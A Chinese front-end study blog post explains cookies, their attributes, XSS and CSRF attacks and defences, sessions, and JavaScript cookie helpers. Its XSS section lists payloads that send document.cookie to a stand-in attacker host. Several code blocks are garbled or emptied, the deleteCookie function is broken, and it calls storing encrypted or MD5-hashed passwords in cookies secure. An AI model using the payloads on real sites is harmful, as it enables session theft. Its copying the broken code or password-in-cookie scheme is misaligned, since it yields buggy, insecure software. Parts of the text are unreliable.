大前端之路----Cookie

cookie

[写在前面]

  cookie作为浏览器的重要组成部分,一直都是面试的重点。上次面试时,面试官几次提问下来,逐渐招架不住,感情还是我学的太浅了,这里就从cookie的概念、利弊、对比和如何通过js操作逐步深入吧

一.概念

1.起源

  总所周知,http协议是一个无状态的协议,无法跟踪客户的状态,而随着http协议在互联网上的快速发展,逐渐产生了需要保持活动状态的需求,例如登陆等需求。为了适应这种需求,便产生了各种保持浏览状态的手段,其中就包括cookie技术。

2.cookie的存储形态

  cookie是存储在浏览器目录中的保存小量信息(4k)的文本,通常用于存储网络识别用户身边、进行seesion跟踪而存储在用户本地终端上的数据(这些数据通常会经过加密处理)。cookie有两种存储形态,存储在RAM中的session cookies和存储在硬盘中的persistant cookies。

3.cookie的处理分为:

  • 服务器向客户端发送cookie
  • 浏览器将cookie保存
  • 之后每次http请求浏览器都将cookie发送给服务器端

4.服务器响应头设置cookie(通常在服务端设置,也可以在浏览器端设置)

SetCookie:"name=value;domain=.domain.com;expires=Sat,11 Jun 2016 11:29:42 GMT;HttpOnly;secure;"
// 其中name=value为必选项,其余为可选项
  • name:一个唯一确定的cookie名称。通常来讲cookie的名称是不区分大小写的
  • value:存储在cookie中的字符串值。最好为cookie的name和value进行url编码
  • domain:可以访问该cookie的域名。eg.如果设置为’.google.com’,则所有以’google.com’结尾的域名都可以访问到(注意:第一个字符必须为’.’)。该属性的默认值创建cookie的网页所在服务器的主机名
  • path:表示cookie作用的路径,默认情况下,cookie会和创建它的网页、其目录及其子目录下的网页和相关联
  • expires:失效时间,表示cookie何时过期的时间戳(也就是何时停止向服务器发送cookie的时间戳)。如果不设置这个,那么该cookie只存储在RAM,即session cookies,将在浏览器关闭的时候删除所有cookie,当然浏览器页面设置这个时间,时间格式是GMT格式,如果客户端和服务端时间不一样,那么就会存在偏差
  • max-age:与expires作用相同,用来告诉服务器还有多久过期(单位是秒)。\
    [补充]\
      max-age=n>0,则表明该cookie在n秒后失效;max-age<0,则表明该cookie为临时cookie,将在浏览器关闭时失效;max-age=0,则表示删除该cookie。默认情况下为-1

  • HttpOnly:设置后,浏览器无法通过document.cookie来显示或设置该cookie,无法通过脚本来获取,但依旧保存在浏览器目录中

  • secure:设置后,只有在使用HTTPS的时候才会带上该cookie,而发送普通http请求则不会带上该cookie,但仍然可以在机器上看到该cookie

二.利弊

1.利处

  • 可以在客户端上保存用户数据,例如购物车商品数据等,起到简单的缓存的作用,同时服务器还可以利用缓存在cookie中的数据,对其进行较为精准推荐
  • 保存用户的登陆状态,用户进行登陆,登陆成功后,服务器生成特定的sessionID设置到cookie中,每次HTTP请求都会带上sessionID作为用户标识

2.弊处

  • 仅仅采用cookie作为验证手段容易导致XSS或CSRF攻击
  • cookie由于未加密导致隐私信息泄露

[补充] XSS和CSRF的区别

1)XSS是跨站脚本攻击

实现前提
  • ①网站对用户的输入没有进行过滤编码
  • ②网站在输出HTML的时候,直接采用拼接HTML的方式输出显示
示例
  • [实例1]
      假设A站显示用户名的方式是采用HTML拼接的方式:http://a.com/xx.html?username=用户名
      此时页面显示:hello,用户名
      那么此时攻击者编辑了一条连接http://a.com/xx.html?username=< scrpt src=’b.com/evilscript.js’>< /script>,并诱导A站某用户去点击,那么用户的页面就会被植入恶意代码evilscript.js,evilscript.js有可能会把用户的cookie或者隐私信息等等发送给攻击者
  • [实例2]
      假设A站是个论坛,并且用户发帖内容没有被过滤编码,假设攻击者发了一个带恶意代码的帖子,那么用户在浏览这个帖子的时候,就会受到影响
    注入手段有:
  • < img src=’javascript:location.href=”http://www.xss.com?cookie’+document.cookie”’>
  • < script>function evilscript(){location.href=’http://www.xss.com?cookie‘+document.cookie}< /script>
  • 通过其他跨域手段跨站发送cookie
  • alert死循环恶意脚本等
防御

1.对用户提供的内容进行过滤,许多语言都有提供对HTML的过滤,例如
+ PHP的htmlentities()或是htmlspecialchars()
+ Python的cgi.escape()
+ ASP的Server.HTMLEncode()
+ ASP.NET的Server.HtmlEncode()或者功能更强的Microsoft Anti-Cross Site Scripting Library
+ Java的xssprotect(开源包)
+ Nodejs的node-validator

2.使用HTTP头指定类型
  使用HTTP头指定内容的类型,使得输出的内容避免被作为HTML解析

代码如下:

var http = require('http')
http.createServer((req,res)=>{
  res.setHeader('Content-Type','text/javascript; charset=utf-8')
  res.write(`
  
  
    
      XSS Protect Test
    
    
      

Hello world

`) res.end() }).listen(8890)

2)CSRF是跨站脚本伪造

实现前提
  • ①用户登陆A站,产生一个带A站验证信息的cookie;
  • ②用户在还没登出A站的情况下,访问危险网站B站;
  • ③危险网站B站发起一个访问A站的跨站请求,而A站的接口设计也不够完善,那么B站可以伪造该次请求
示例
  • [实例1]\
      假设A站发帖的请求是:http://xxx.com/xxx?title=标题&content=内容\
      B站中HTML中写上\http://xxx.com/xxx?title=B站发出来的标题&content=B站发出来的内容’\>\
    那么打开B站时,会自动A站发帖的这样的请求
  • [实例2]\
      假设A站的管理员学聪明了,不采用GET来发帖了,而是采用POST的方式\
      B站的攻击人员也技术升级

代码如下:


  
    
  
  
    
  

防御手段
  • 1)Cookie Hashing\
      将cookie进行hash后当作表单数据传过去,服务器接收到表单数据后,对请求中的cookie进行hash,验证表单数据中的cookieHash,因为B站无法获取用户在A站的cookie,所以无法发送cookieHash,故无法通过验证
  • 2)token\
      服务端生成一个随机数token,让客户端保存起来或者设置隐藏表单,每次提交表单时都带上token,由于token是随机的而且有时间限制,而B站无法获取到,故其请求无法通过验证

三.对比

1.cookie和session的联系和区别

联系

  cookie和session都可以用来作为保持用户状态的手

区别

  • 保存的位置不一样
      cookie保存在客户端浏览器中,而session保存在服务器中
  • 保持用户状态的方法不同
      如果说cookie机制是通过检查客户的通信证来确定客户的话,那么session机制则是通过检查服务器上的户口本来确定是否是客户本人
    [cookie]
      ①将密码加密后保存到cookie中,下次访问时,解密密码和数据库比较
      ②将账号和密码进行某种md5算法加密,保存到cookie中的ssid,下次访问时,数据库通过计算账号和密码的md5值,比对ssid即可验证账号,理论上只要保管好密钥和算法,该机制就是安全的\
    [session]
      服务器维持一个session表,通过sessionID来验证不同的客户端,但增加服务器上的存储负担。\
      如果客户允许使用cookie,那么服务器会在浏览器端设置一个http-only的sessionid的cookie;如果客户不允许使用cookie,那么服务器将重写url,在url后加入?sessionid=xxxxx这样的字段。

四.js操作cookie

1.设置cookie

function setCookie(name,value,days){
  var date = new Date()
  // getDate返回某个月中的某一天
  date.setDate(date.getDate() + days)
  // toUTCString的根据世界时(UTC)把时间对象转化为字符串
  var expires = 'expires=' + date.toUTCString()
  document.cookie = name + '=' + value + ';' + expires
}

2.读取cookie

function readCookie(name){
  var value = ''
  var cookie = document.cookie
  if(cookie.length > 0){
    var start = cookie.indexOf(name + '=')
    if(start != -1){
      start = start + name.length + 1
      end = cookie.indexOf(';', start)
      end = end == -1 ? cookie.length : end
      value = unescape(cookie.substring(start, end))
    }
  }
  return value
}

3.删除cookie

function deleteCookie(){
  var date = new Date()
  date.setMonth(date.getMonth - 1)
  var expires = 'expires=' + date.toUTCString()
  document.cookie='name=;' + expires
}

你可能感兴趣的:(大前端之路)